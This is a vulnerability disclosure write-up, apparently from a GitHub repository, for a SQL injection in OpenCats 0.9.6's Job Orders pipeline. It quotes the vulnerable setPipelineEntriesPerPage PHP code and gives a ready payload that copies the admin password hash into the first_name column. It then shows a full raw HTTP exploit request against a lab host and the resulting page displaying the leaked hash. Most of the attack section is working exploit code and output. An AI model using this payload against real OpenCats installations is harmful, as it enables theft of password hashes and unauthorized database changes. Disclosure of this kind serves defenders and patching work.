

main

...

opencats_zero-days / SQLI_JobOrders.md



hansmach1ne Update SQLI_JobOrders.md

History

1 contributor

22 lines (13 sloc) | 1.3 KB

...

SQL injection vulnerability in OpenCats 'Job Orders'

OpenCats version 0.9.6 PHP7.2 suffers from SQL injection vulnerability. This allows attackers control over the application's database.

User has control over entriesPerPage variable, which allows SQL injection in UPDATE statement, setPipelineEntriesPerPage function call.

SQL query code:

```

1059     public function setPipelineEntriesPerPage($entriesPerPage)
1060     {
1061         $db = DatabaseConnection::getInstance();
1062
1063         $sql = sprintf(
1064             "UPDATE
1065                 user
1066             SET
1067                 pipeline_entries_per_page = %s
1068             WHERE
1069                 user_id = %s
1070             AND
1071                 site_id = %s",
1072             $entriesPerPage,
1073             $this->_userID,
1074             $this->_siteID
1075         );
1076         $rs = $db->query($sql);
1077
1078         $this->_pipelineEntriesPerPage = $entriesPerPage;
1079     }
1080

```

Since UPDATE statement is used to query the database, user can add arbitrary values to arbitrary columns inside 'user' table. Knowing this, it is possible to craft payload like:

```
15,first_name=(select password from user where user_id=1 limit 1)
```

This will update 'first_name' with arbitrary data from database. In this example user's password hash will be written inside first_name column. Since, first name is reflected in many endpoints in application, this means malicious person can exfiltrate data and control the database using it as a field to extract data. Attackers can also use blind sql injection techniques to extract db information.

```

1 POST /opencats/ajax.php HTTP/1.1
2 Host: 192.168.203.135
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
  Gecko/20100101 Firefox/78.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-type: application/x-www-form-urlencoded
8 Content-Length: 240
9 Origin: http://192.168.203.135
10 Connection: close
11 Referer:
  http://192.168.203.135/opencats/index.php?m=joborders&a=show&joborderID=3
12 Cookie: CATS=5ftrolidomh4agmcl9qk809vcs
13
14 f=getPipelineJobOrder&joborderID=3&page=0&entriesPerPage=
  15,first_name=(select+password+from+user+where+user_id=1+limit+1)
  &sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&
  isPopUp=0&rhash=47890778&CATS=5ftrolidomh4agmcl9qk809vcs

```

OpenCATS - Settings

192.168.203.135/opencats/index.php?m=settings&a=showUser&userID=1

Recent: test | test test | test job | machine machine | Internal Postings

Quick Search: Go

Settings: User Details

[Back to User Management](#)

User Details

Name: 2132f297a57a5a743894a0e4a801fc3 administrator

E-Mail: admin@testdomain.com

Username: admin

Access Level: Root Administrator - All lower access, plus the ability to add, edit, and remove sites, as well as the ability to assign Site Administrator status to a user.

Last Successful Login: 27-09-22 (12:17 PM)

Last Failed Login: 25-09-22 (04:22 PM)

[Edit](#)

user's password is written to the first_name field, confirming SQLi

Recent Logins Activity

IP	Host Name	User Agent	Date	Successful
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-27 12:17:46	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-27 08:17:48	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-26 16:41:21	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-26 15:14:51	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-26 13:59:36	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-25 16:23:02	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-25 16:22:59	No
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-25 10:30:03	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-25 04:00:44	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-24 16:19:26	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-24 14:05:44	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-24 13:08:15	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-24 12:48:51	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-22 13:20:09	Yes
192.168.203.132	192.168.203.132	Firefox 78.0	2022-09-22 11:30:06	Yes